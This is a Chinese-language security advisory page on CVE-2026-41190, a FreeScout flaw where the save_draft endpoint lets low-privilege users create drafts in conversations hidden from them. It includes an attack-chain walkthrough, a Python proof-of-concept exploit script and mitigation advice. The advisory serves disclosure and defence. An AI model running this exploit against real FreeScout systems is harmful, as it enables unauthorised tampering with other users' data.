IPBUF安全漏洞报告
English
CVE-2026-41190 CVSS 7.1 高危

CVE-2026-41190 FreeScout 访问控制绕过漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-41190
漏洞类型
访问控制失效
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
FreeScout

相关标签

访问控制失效FreeScout权限绕过CVE-2026-41190

漏洞概述

FreeScout在1.8.215版本之前存在访问控制漏洞。当系统配置仅显示分配会话时,尽管前端界面限制了用户访问,但后端`save_draft`接口未正确校验权限。低权限用户可利用此缺陷,直接发送POST请求在受限会话中创建草稿,绕过业务逻辑限制。

技术细节

该漏洞源于FreeScout在处理会话草稿保存时的权限校验逻辑存在缺陷。当系统启用`APP_SHOW_ONLY_ASSIGNED_CONVERSATIONS`配置时,旨在限制用户仅能查看分配给自己的会话。虽然前端界面和直接会话视图实施了严格的访问拦截,但后端的`save_draft` AJAX接口未同步执行相同的权限验证。攻击者仅需拥有低权限账号,无需用户交互,即可构造特制的HTTP POST请求,向目标会话ID发送草稿数据。由于服务器端未校验当前用户是否为该会话的分配者或创建者,导致恶意请求被成功处理,进而在受限会话中创建草稿,破坏了系统的访问控制机制和数据完整性。

攻击链分析

STEP 1
Reconnaissance
攻击者识别出目标FreeScout应用启用了`APP_SHOW_ONLY_ASSIGNED_CONVERSATIONS`配置,并获取了一个低权限用户账号。
STEP 2
Identification
攻击者通过枚举或其他方式获取到一个他们无权访问(既非创建者也非分配者)的目标会话ID。
STEP 3
Exploitation
攻击者绕过前端界面限制,直接向后端`save_draft` AJAX接口发送POST请求,包含目标会话ID和恶意草稿内容。
STEP 4
Impact
服务器因权限校验缺失接受了请求,在受限会话中创建了草稿,导致数据完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_freescout(target_url, session_cookie, conversation_id): """ PoC for CVE-2026-41190: Create a draft in a hidden conversation. """ # The endpoint responsible for saving drafts ajax_url = f"{target_url}/api/v1/save_draft" headers = { "Cookie": f"freescout_session={session_cookie}", "X-Requested-With": "XMLHttpRequest", "Content-Type": "application/x-www-form-urlencoded" } # Payload data to create a draft payload = { "conversation_id": conversation_id, "body": "This is an unauthorized draft created via PoC.", "cc": "", "bcc": "", "type": "email" } try: response = requests.post(ajax_url, headers=headers, data=payload) if response.status_code == 200: print("[+] Successfully created draft in hidden conversation.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") # Example usage # exploit_freescout("http://target-freescout.com", "attacker_session_id", "123")

影响范围

FreeScout < 1.8.215

防御指南

临时缓解措施
如无法立即升级,建议暂时禁用`APP_SHOW_ONLY_ASSIGNED_CONVERSATIONS`配置选项,或者在Web应用防火墙(WAF)层面对`/save_draft`接口增加额外的访问频率和权限校验规则,限制非管理员用户的API调用,直至完成版本修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表